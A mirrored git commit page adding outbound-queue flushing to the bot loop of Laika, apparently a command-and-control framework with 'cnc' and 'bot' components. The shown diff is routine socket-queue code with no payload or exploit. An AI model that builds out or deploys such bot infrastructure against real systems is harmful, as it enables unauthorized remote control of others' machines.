mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-29 21:20:11 +00:00
Added laikaP_pushOutQueue, minor refactoring
- sLaika_pollList now holds an outQueue, if events are sent to a peer, the pollList will keep track so the caller (cnc, bot, etc) can handle each pollOut for the queued peers.
This commit is contained in:
@@ -105,5 +105,13 @@ _BOTKILL:
|
||||
laikaS_kill(&bot->peer->sock);
|
||||
LAIKA_TRYEND
|
||||
|
||||
/* flush pList's outQueue */
|
||||
if (bot->pList.outCount > 0) {
|
||||
if (!laikaS_handlePeerOut(bot->peer))
|
||||
laikaS_kill(&bot->peer->sock);
|
||||
|
||||
laikaP_resetOutQueue(&bot->pList);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
Reference in New Issue
Block a user